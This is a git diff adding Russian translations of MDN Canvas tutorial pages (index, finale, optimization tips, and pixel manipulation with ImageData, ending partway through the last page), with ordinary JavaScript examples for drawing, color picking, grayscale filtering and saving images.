+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}</div>
+
+<div class="summary">
+<p>Поздравляем! Вы завершили <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a>! Эти знания помогут вам создавать великолепную 2d графику в сети.</p>
+</div>
+
+<h2 id="Больше_примеров_и_учебных_материалов">Больше примеров и учебных материалов</h2>
+
+<p>Различные демки и дополнительные разъяснеия о canvas расположены на этих сайтах:</p>
+
+<dl>
+ <dt><a href="http://codepen.io/search?q=canvas">Codepen.io</a></dt>
+ <dd>Песочница для фронтенд разработчика и редактор кода в браузере.</dd>
+ <dt><a href="http://www.canvasdemos.com/">Canvasdemos.com</a></dt>
+ <dd>Приложения, игры, инструменты и учебные пособия для HTML5 canvas элементов.</dd>
+ <dt><a href="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></dt>
+ <dd>Примеры для большинтсва canvas APIs.</dd>
+ <dt><a href="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/">31 days of Canvas tutorials</a></dt>
+ <dd>Прекрасное введение в разработку графики на JavaScript.</dd>
+ <dt><a href="/en-US/docs/Games">Game development</a></dt>
+ <dd>Игры - одна из наболее популярных  действий на компьютере. Постоянно появляются новые технологии, делающих возможным разработку более лучших и мощных игр, чем те, которые могли быть созданы стандартными средствами веб браузеров.</dd>
+</dl>
+
+<h2 id="Другие_Web_API">Другие Web API</h2>
+
+<p>Эти APIs могут быть полезны  в дальнейшей работе с canvas и графикой:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/WebGL">WebGL</a></dt>
+ <dd>API для отображения интерактивной 3D графики.</dd>
+ <dt><a href="/en-US/docs/Web/SVG">SVG</a></dt>
+ <dd>Масштабируемая Векторная Графика (Scalable Vector Graphics) позволяет описывать картинки в виде набора векторов (линий) и  форм, позволяюших плавно изменять размер вне зависимости от размера в котором они нарисованы.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio</a></dt>
+ <dd>Web Audio API представляет мощную и универсальную систему контроля аудио в сети, позволяющая разработчикам получить аудио ресурсы, добавлять эффекты аудио, создавать аудио визуализацию,  применять пространственные эффекты (такие как сдвиг) и многое другое.</dd>
+</dl>
+
+<h2 id="Вопросы">Вопросы</h2>
+
+<dl>
+ <dt><a href="http://stackoverflow.com/questions/tagged/canvas">Stackoverflow</a></dt>
+ <dd>Вопросы с тегом "canvas".</dd>
+ <dt><a href="/en-US/docs/MDN">Comments about this tutorial – the MDN documentation community</a></dt>
+ <dd>Если у вас остались вопросы об этом учебнике или вы хотите поблагодарить нас, не стесняйтесь обращаться к нам!</dd>
+</dl>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/index.html b/files/ru/web/api/canvas_api/tutorial/index.html
new file mode 100644
index 0000000000..8409367956
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/index.html
@@ -0,0 +1,58 @@
+---
+title: Руководство по Canvas
+slug: Web/API/Canvas_API/Tutorial
+tags:
+  - Canvas
+  - Graphics
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<p><a href="/ru/docs/Web/API/Canvas_API"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a>{{CanvasSidebar}}</p>
+
+<p class="summary"><a href="/ru/docs/Web/HTML/Element/canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a> — это <a href="Web/HTML" title="HTML">HTML</a> элемент, использующийся для рисования графики средствами языков программирования (обычно это <a href="Словарь/JavaScript">JavaScript</a>). Он может, к примеру, использоваться для рисования графов, создания коллажей или простой (<a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster" title="A_Basic_RayCaster">и не очень</a>) анимации.<br>
+ Изображения в правой части статьи являются примерами использования <code><a href="/ru/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a>.</code><br>
+ Примеры их создания приводятся в этой статье. </p>
+
+<p>В этом руководстве описываются основы использования элемента <code>&lt;canvas&gt;</code> для рисования 2D-графики. Приведенные примеры дадут вам понимание того, что вы можете сделать с помощью &lt;canvas&gt;, а использованные в статье фрагменты кода помогут в создании собственных проектов.</p>
+
+<p><code>Впервые &lt;canvas&gt;</code> использовался компанией Apple для создания <a href="https://ru.wikipedia.org/wiki/Dashboard">Mac OS X Dashboard</a>, а затем был реализован в Web-браузерах. На сегодняшний день все основные браузеры поддерживют работу с &lt;canvas&gt;. Тег <code>&lt;canvas&gt;</code> часть спецификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> также известной как HTML5.</p>
+
+<h2 id="Before_you_start" name="Before_you_start">Прежде чем начать</h2>
+
+<p>Работа с элементом <strong><code>&lt;canvas&gt;</code></strong> довольно проста, но потребует от вас базовых знаний <a href="ru/docs/HTML" title="HTML">HTML</a> и <a href="JavaScript" title="JavaScript">JavaScript</a>. Следует предупредить о том, что элемент <code>&lt;<strong>canvas&gt;</strong></code> не работает в некоторых старых браузерах, но поддерживается большинством современных браузеров. Стандартный размер <strong><code>&lt;canvas&gt;</code></strong>  300px × 150px (ширина × высота), однако эти размеры могут быть изменены при помощи HTML-атрибутов <code>height</code> и <code>width</code>. Для рисования графики <strong><code>&lt;canvas&gt;</code></strong> мы будем использовать <code>javascript context object</code>,  который создает графику динамически.</p>
+
+<h2 id="In_this_tutorial" name="In_this_tutorial">В этом руководстве</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Basic_usage" title="Canvas_tutorial/Basic_usage">Базовое использование</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes" title="Canvas_tutorial/Drawing_shapes">Рисование форм</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Using_images" title="Canvas_tutorial/Using_images">Использование изображений</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">Применение стилей и цветов</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Transformations" title="Canvas_tutorial/Transformations">Трансформации</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing" title="Canvas_tutorial/Compositing">Композирование и обрезка</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Basic_animations" title="Canvas_tutorial/Basic_animations">Базовое анимирование</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas" title="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas">Оптимизация canvas</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите Также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas">Canvas topic page</a></li>
+ <li><a href="/en-US/docs/HTML/Canvas/Drawing_Graphics_with_Canvas" title="Drawing_Graphics_with_Canvas">Drawing Graphics with Canvas</a></li>
+ <li><a href="/en-US/docs/tag/Canvas_examples" title="tag/Canvas_examples">Canvas examples</a></li>
+ <li><a class="external" href="http://html5tutorial.com" title="http://html5tutorial.com">HTML5 Tutorial</a></li>
+ <li><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">Drawing Text Using a Canvas</a></li>
+ <li><a class="external" href="http://developer.apple.com/library/safari/#documentation/AudioVideo/Conceptual/HTML-canvas-guide/AddingText/AddingText.html#//apple_ref/doc/uid/TP40010542-CH6-SW4" title="Adding Text to Canvas">Adding Text to Canvas</a></li>
+ <li><a class="external" href="http://canvimation.github.com/" title="http://canvimation.github.com/">Canvas Drawing and Animation Application</a></li>
+ <li><a class="external" href="http://billmill.org/static/canvastutorial/" title="http://billmill.org/static/canvastutorial/">Interactive canvas tutorial</a></li>
+ <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li>
+ <li><a class="external" href="http://html5tutorial.com/how-to-draw-n-grade-bezier-curve-with-canvas-api" title="http://html5tutorial.com/how-to-draw-n-grade-bezier-curve-with-canvas-api">How to draw N grade Bézier curves with the Canvas API</a></li>
+ <li><a href="http://www.w3.org/TR/2dcontext/" title="http://www.w3.org/TR/2dcontext/">W3C Standard</a></li>
+</ul>
+
+<h2 id="Примечание_для_помощников">Примечание для помощников</h2>
+
+<p>Из-за досадной технической ошибки, которая произошла 17 июня 2013 года, мы утеряли историю по этому руководству, в том числе атрибуции ко всем прошлым, участвовавшие в его создании. Мы приносим извинения за это, и надеемся, что вы простите нас за этот несчастный случай. </p>
+
+<div>
+<div>{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}</div>
+</div>
diff --git a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html
new file mode 100644
index 0000000000..40a83917e8
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html
@@ -0,0 +1,120 @@
+---
+title: Оптимизация canvas
+slug: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+tags:
+  - Canvas
+  - Graphics
+  - HTML
+  - HTML5
+  - Tutorial
+  - Оптимизация
+  - Урок
+  - Холст
+translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</div>
+
+<div class="summary">
+<p>Элемент {{HTMLElement ("canvas")}} является одним из наиболее широко используемых инструментов для рендеринга 2D-графики в Интернете. Однако когда веб-сайты и приложения используют Canvas API на пределе его возможностей, производительность начинает снижаться. В этой статье приводятся предложения по оптимизации использования элемента canvas для обеспечения хорошей работы графики.</p>
+</div>
+
+<h2 id="Советы_по_производительности">Советы по производительности</h2>
+
+<p>Ниже приведен сборник советов по улучшению производительности canvas.</p>
+
+<h3 id="Предварительно_отрисуйте_похожие_примитивы_или_повторяющиеся_объекты_на_offscreen_canvas">Предварительно отрисуйте похожие примитивы или повторяющиеся объекты на offscreen canvas</h3>
+
+<p>Если вы повторяете одни и те же операции рисования в каждом кадре анимации, рассмотрите возможность их выгрузки на offscreen canvas. Затем вы можете визуализировать закадровое изображение на свой основной canvas так часто, как это необходимо, без необходимости повторять шаги, необходимые для его генерации.</p>
+
+<pre class="brush: js">myCanvas.offscreenCanvas = document.createElement('canvas');
+myCanvas.offscreenCanvas.width = myCanvas.width;
+myCanvas.offscreenCanvas.height = myCanvas.height;
+
+myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0);
+</pre>
+
+<h3 id="Избегайте_координат_с_плавающей_точкой_и_используйте_вместо_них_целые_числа">Избегайте координат с плавающей точкой и используйте вместо них целые числа</h3>
+
+<p>Субпиксельный рендеринг происходит при рендеринге объектов на canvas без целых значений.</p>
+
+<pre class="brush: js">ctx.drawImage(myImage, 0.3, 0.5);
+</pre>
+
+<p>Это заставляет браузер выполнять дополнительные вычисления для создания эффекта сглаживания. Чтобы избежать этого, обязательно округлите все координаты, используемые в вызовах {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}, например, с помощью {{jsxref("Math.floor()")}}.</p>
+
+<h3 id="Не_масштабируйте_изображения_в_drawImage">Не масштабируйте изображения в <code>drawImage</code></h3>
+
+<p>При загрузке кэшируйте изображения разных размеров на offscreen canvas, а не постоянно масштабируйте их в {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.</p>
+
+<h3 id="Используйте_несколько_слоев_canvas_для_сложных_сцен">Используйте несколько слоев canvas для сложных сцен</h3>
+
+<p>Вы можете обнаружить, что некоторые объекты в вашем приложении нужно часто перемещать или менять, в то время как другие остаются относительно статичными. Возможной оптимизацией в этой ситуации является наложение ваших элементов с использованием нескольких элементов <code>&lt;canvas&gt;</code>.</p>
+
+<p>Например, допустим, у вас есть игра с пользовательским интерфейсом наверху, геймплеем в середине и статическим фоном внизу. В этом случае вы можете разбить свою игру на три слоя <code>&lt;canvas&gt;</code>. Пользовательский интерфейс будет меняться только при изменении пользователем, слой с игровым процессом будет меняться с каждым новым кадром, а фон останется в основном неизменным.</p>
+
+<pre class="brush: html">&lt;div id="stage"&gt;
+  &lt;canvas id="ui-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+  &lt;canvas id="game-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+  &lt;canvas id="background-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+&lt;/div&gt;
+
+&lt;style&gt;
+  #stage {
+    width: 480px;
+    height: 320px;
+    position: relative;
+    border: 2px solid black;
+  }
+
+  canvas { position: absolute; }
+  #ui-layer { z-index: 3; }
+  #game-layer { z-index: 2; }
+  #background-layer { z-index: 1; }
+&lt;/style&gt;
+</pre>
+
+<h3 id="Используйте_простой_CSS_для_больших_фоновых_изображений">Используйте простой CSS для больших фоновых изображений</h3>
+
+<p>Если у вас есть статическое фоновое изображение, вы можете нарисовать его на простом элементе {{HTMLElement("div")}}, используя свойство CSS {{cssxref("background")}}, и расположить его под canvas. Это сведет на нет необходимость рендеринга фона на canvas на каждом тике.</p>
+
+<h3 id="Масштабирование_холста_с_использованием_CSS-преобразований">Масштабирование холста с использованием CSS-преобразований</h3>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">CSS-преобразования</a> быстрее, поскольку они используют графический процессор. В идеале, не стоит не масштабировать canvas, или можно использовать меньший canvas и увеличивать его при необходимости, но не уменьшать.</p>
+
+<pre class="brush: js">var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = '0 0'; //scale from top left
+stage.style.transform = 'scale(' + scaleToFit + ')';
+</pre>
+
+<h3 id="Отключите_прозрачность">Отключите прозрачность</h3>
+
+<p>Если ваше приложение использует canvas и не нуждается в прозрачном фоне, установите для параметра <code>alpha</code>значение <code>false</code> при создании контекста рисования с помощью {{domxref("HTMLCanvasElement.getContext()")}}. Эта информация может использоваться браузером для оптимизации рендеринга.</p>
+
+<pre class="brush: js">var ctx = canvas.getContext('2d', { alpha: false });</pre>
+
+<h3 id="Другие_советы">Другие советы</h3>
+
+<ul>
+ <li>Объединяйте запросы к canvas. Например, рисуйте одну ломанную линию вместо нескольких отдельных линий.</li>
+ <li>Избегайте ненужных изменений состояния canvas.</li>
+ <li>Отображайте только изменения экрана, а не заново перерисовывайте.</li>
+ <li>По возможности избегайте свойства {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}.</li>
+ <li>Избегайте <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">рендеринга текста</a>, когда это возможно.</li>
+ <li>Попробуйте разные способы очистки canvas (({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}, или {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}}, или изменение размера canvas).</li>
+ <li>С анимациями используйте {{domxref("window.requestAnimationFrame()")}} вместо {{domxref("window.setInterval()")}}.</li>
+ <li>Будьте осторожны с тяжелыми физическими библиотеками.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/canvas/performance/#toc-ref">Improving HTML5 Canvas Performance – HTML5 Rocks</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/05/optimizing-your-javascript-game-for-firefox-os/">Optimizing your JavaScript game for Firefox OS – Mozilla Hacks</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
new file mode 100644
index 0000000000..8b8653a9b3
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
@@ -0,0 +1,267 @@
+---
+title: Пиксельная манипуляция с холстом
+slug: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
+tags:
+  - Графика
+  - Промежуточный
+  - Руководство
+  - Холст
+translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</div>
+
+<div class="summary">
+<p>До сих пор мы не смотрели на фактические пиксели нашего объекта canvas (далее "холст"). С объектом <code>ImageData</code> вы можете напрямую читать и писать массив данных для управления пиксельными данными. Мы также рассмотрим, как можно сгладить сглаживание изображения (сглаживание) и как сохранить изображения с вашего холста.</p>
+</div>
+
+<h2 id="Объект_ImageData">Объект <code>ImageData</code></h2>
+
+<p>Объект {{domxref ("ImageData")}} представляет базовые пиксельные данные области объекта холста. Он содержит следующие атрибуты только для чтения:</p>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>Ширина изображения в пикселях.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота изображения в пикселях.</dd>
+ <dt><code>data</code></dt>
+ <dd>A {{jsxref ("Uint8ClampedArray")}} представляет собой одномерный массив, содержащий данные в порядке RGBA, с целыми значениями от <code>0</code> до <code>255</code> (в комплекте).</dd>
+</dl>
+
+<p>Свойство <code>data</code> возвращает {{jsxref ("Uint8ClampedArray")}}, к которому можно получить доступ, чтобы посмотреть на необработанные пиксельные данные; каждый пиксель представлен четырьмя однобайтовыми значениями (красный, зеленый, синий и альфа в этом порядке, то есть формат «RGBA»). Каждый компонент цвета представлен целым числом от 0 до 255. Каждому компоненту присваивается последовательный индекс внутри массива, причем красный компонент верхнего левого пикселя находится в индексе 0 внутри массива. Затем пиксели идут слева направо, затем вниз, по всему массиву.</p>
+
+<p>{{Jsxref ("Uint8ClampedArray")}} содержит высоту × ширину × 4 байта данных, значения индекса варьируются от 0 до (высота × ширина × 4) -1.</p>
+
+<p>Например, чтобы прочитать значение синего компонента из пикселя в столбце 200, строка 50 на изображении, вы должны сделать следующее:</p>
+
+<pre class="brush: js">blueComponent = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];</pre>
+
+<p>Вы можете получить доступ к размеру массива пикселей в байтах, прочитав атрибут <code>Uint8ClampedArray.length</code>:</p>
+
+<pre class="brush: js">var numBytes = imageData.data.length;
+</pre>
+
+<h2 id="Создание_объекта_ImageData">Создание объекта <code>ImageData</code></h2>
+
+<p>Чтобы создать новый пустой объект <code>ImageData</code> , вы должны использовать метод {{domxref ("CanvasRenderingContext2D.createImageData", "createImageData ()")}}. Существуют две версии метода <code>createImageData()</code> :</p>
+
+<pre class="brush: js">var myImageData = ctx.createImageData(width, height);</pre>
+
+<p>Это создает новый объект <code>ImageData</code> с указанными параметрами. Все пиксели заданы прозрачным черным.</p>
+
+<p>Вы также можете создать новый объект <code>ImageData</code> ImageData с теми же размерами, что и объект, заданный <code>anotherImageData</code> . Все пиксели нового объекта установлены на прозрачный черный. <strong>Это не копирует данные изображения!</strong></p>
+
+<pre class="brush: js">var myImageData = ctx.createImageData(anotherImageData);</pre>
+
+<h2 id="Получение_пиксельных_данных_для_контекста">Получение пиксельных данных для контекста</h2>
+
+<p>Чтобы получить объект <code>ImageData</code> , содержащий копию пиксельных данных для контекста холста, вы можете использовать метод <code>getImageData()</code> :</p>
+
+<pre class="brush: js">var myImageData = ctx.getImageData(left, top, width, height);</pre>
+
+<p>Этот метод возвращает объект <code>ImageData</code> , представляющий пиксельные данные для области холста, углы которого представлены точками (<code>left</code> , <code>top</code>), (<code>left+width</code> , <code>top</code>), (<code>left</code> , <code>top+height</code>) и (<code>left+width</code> , <code>top+height</code>). Координаты задаются в единицах пространства координат холста.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Любые пиксели за пределами холста возвращаются как прозрачный черный цвет в результирующий объект <code>ImageData</code> .</p>
+</div>
+
+<p>Этот метод также показан в статье <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a>.</p>
+
+<h3 id="Выбор_цвета">Выбор цвета</h3>
+
+<p>В этом примере мы используем метод <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData() </a> для отображения цвета под курсором мыши. Для этого нам нужна текущая позиция мыши с <code>layerX</code> и <code>layerY</code>, затем мы просматриваем пиксельные данные в этой позиции в массиве пикселей, который предоставляет нам <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData() </a> . Наконец, мы используем данные массива для установки цвета фона и текста <code>&lt;div&gt;</code> для отображения цвета.</p>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227" style="float:left"&gt;&lt;/canvas&gt;
+&lt;div id="color" style="width:200px;height:50px;float:left"&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js;">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+img.onload = function() {
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+};
+var color = document.getElementById('color');
+function pick(event) {
+  var x = event.layerX;
+  var y = event.layerY;
+  var pixel = ctx.getImageData(x, y, 1, 1);
+  var data = pixel.data;
+  var rgba = 'rgba(' + data[0] + ', ' + data[1] +
+             ', ' + data[2] + ', ' + (data[3] / 255) + ')';
+  color.style.background =  rgba;
+  color.textContent = rgba;
+}
+canvas.addEventListener('mousemove', pick);
+</pre>
+
+<p>{{ EmbedLiveSample('A_color_picker', 610, 240) }}</p>
+
+<h2 id="Отображение_пиксельных_данных_в_контекст">Отображение пиксельных данных в контекст</h2>
+
+<p>Вы можете использовать метод <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a> для рисования пиксельных данных в контексте:</p>
+
+<pre class="brush: js">ctx.putImageData(myImageData, dx, dy);
+</pre>
+
+<p>Параметры <code>dx</code>и <code>dy</code>указывают координаты устройства в контексте, в котором будет отображаться верхний левый угол пиксельных данных, которые вы хотите нарисовать.</p>
+
+<p>Например, чтобы нарисовать все изображение, представленное <code>myImageData</code>, в верхнем левом углу контекста, вы можете просто сделать следующее:</p>
+
+<pre class="brush: js">ctx.putImageData(myImageData, 0, 0);
+</pre>
+
+<h3 id="Оттенки_серого_цвета_и_инвертирование_цветов">Оттенки серого цвета и инвертирование цветов</h3>
+
+<p>В этом примере мы перебираем все пиксели для изменения их значений, а затем помещаем модифицированный массив пикселей обратно в canvas с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. Функция инвертирования просто вычитает каждый цвет из максимального значения 255. Функция оттенков серого просто использует среднее значение красного, зеленого и синего. Вы также можете использовать средневзвешенное значение, заданное формулой <code>x = 0.299r + 0.587g + 0.114b</code>, например. Для дополнительной информации см. <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a> в Википедии.</p>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+  &lt;input id="grayscalebtn" value="Grayscale" type="button"&gt;
+  &lt;input id="invertbtn" value="Invert" type="button"&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
+  var data = imageData.data;
+
+  var invert = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      data[i]     = 255 - data[i];     // red
+      data[i + 1] = 255 - data[i + 1]; // green
+      data[i + 2] = 255 - data[i + 2]; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var grayscale = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      var avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
+      data[i]     = avg; // red
+      data[i + 1] = avg; // green
+      data[i + 2] = avg; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var invertbtn = document.getElementById('invertbtn');
+  invertbtn.addEventListener('click', invert);
+  var grayscalebtn = document.getElementById('grayscalebtn');
+  grayscalebtn.addEventListener('click', grayscale);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Grayscaling_and_inverting_colors', 330, 270) }}</p>
+
+<h2 id="Масштабирование_и_сглаживание">Масштабирование и сглаживание</h2>
+
+<p>С помощью метода                                                             {{domxref ("CanvasRenderingContext2D.drawImage", "drawImage ()")}}, второго холста и свойства {{domxref ("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} мы способны увеличить изображение и посмотреть его более детально.</p>
+
+<p>Мы получаем положение мыши и обрезаем изображение на 5 пикселей левее и выше и на 5 пикселей правее и ниже положения мыши. Затем мы копируем его на другой холст и изменяем размер изображения до размера, который мы хотим. При масштабировании мы изменяем холст с исходного размера 10×10 пикселей до 200×200.</p>
+
+<pre class="brush: js">zoomctx.drawImage(canvas,
+                  Math.abs(x - 5), Math.abs(y - 5),
+                  10, 10, 0, 0, 200, 200);</pre>
+
+<p>Поскольку по умолчанию включено сглаживание, мы можем захотеть отключить сглаживание, чтобы увидеть четкие пиксели. Вы можете переключить флажок, чтобы увидеть эффект свойства <code>imageSmoothingEnabled</code> (которому нужны префиксы для разных браузеров).</p>
+
+<h6 class="hidden" id="Zoom_example">Zoom example</h6>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;canvas id="zoom" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+&lt;label for="smoothbtn"&gt;
+  &lt;input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"&gt;
+  Enable image smoothing
+&lt;/label&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var zoomctx = document.getElementById('zoom').getContext('2d');
+
+  var smoothbtn = document.getElementById('smoothbtn');
+  var toggleSmoothing = function(event) {
+    zoomctx.imageSmoothingEnabled = this.checked;
+    zoomctx.mozImageSmoothingEnabled = this.checked;
+    zoomctx.webkitImageSmoothingEnabled = this.checked;
+    zoomctx.msImageSmoothingEnabled = this.checked;
+  };
+  smoothbtn.addEventListener('change', toggleSmoothing);
+
+  var zoom = function(event) {
+    var x = event.layerX;
+    var y = event.layerY;
+    zoomctx.drawImage(canvas,
+                      Math.abs(x - 5),
+                      Math.abs(y - 5),
+                      10, 10,
+                      0, 0,
+                      200, 200);
+  };
+
+  canvas.addEventListener('mousemove', zoom);
+}</pre>
+
+<p>{{ EmbedLiveSample('Zoom_example', 620, 490) }}</p>
+
+<h2 id="Сохранение_изображений">Сохранение изображений</h2>
+
+<p>{{Domxref ("HTMLCanvasElement")}} предоставляет метод <code>toDataURL()</code>, который полезен при сохранении изображений. Он возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs">data URI</a>, содержащий представление изображения в формате, заданном параметром <code>type</code> (по умолчанию используется в <a class="external external-icon" href="https://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a> ). Возвращаемое изображение имеет разрешение 96 точек на дюйм.</p>
+
+<dl>
+ <dt><strong>Примечание:</strong> </dt>
+ <dd>Имейте в виду, что если холст содержит пиксели, полученные из другого {{Glossary ("origin")}} без использования CORS, холст будет <strong>испорчен</strong>, и его содержимое больше не будет считываться и сохраняться. Смотрите {{SectionOnPage ("/en-US/docs/Web/HTML/CORS_enabled_image", "Безопасность и испорченные холсты")}}</dd>
+ <dt></dt>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}</dt>
+ <dd>Настройки по умолчанию. Создает изображение в формате PNG.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}</dt>
+ <dd>Создает изображение в формате JPG. Дополнительно вы можете задать параметр "качество" (quality) в диапазоне от 0 до 1, причем единица задает лучшее качество и 0 -  почти не распознаваемый, но небольшой по размеру файл.</dd>
+</dl>
+
+<p>После того как вы создали URI данные из своего холста, вы можете использовать его как источник любого {{HTMLElement ("image")}} или поместить его в гиперссылку с <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#attr-download">download attribute</a>, чтобы сохранить его на диске, например.</p>
+
+<p>Вы также можете создать {{domxref ("Blob")}} из холста.</p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}</dt>
+ <dd>Создает объект <code>Blob</code>, представляющий изображение, содержащееся в холсте.</dd>
+</dl>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
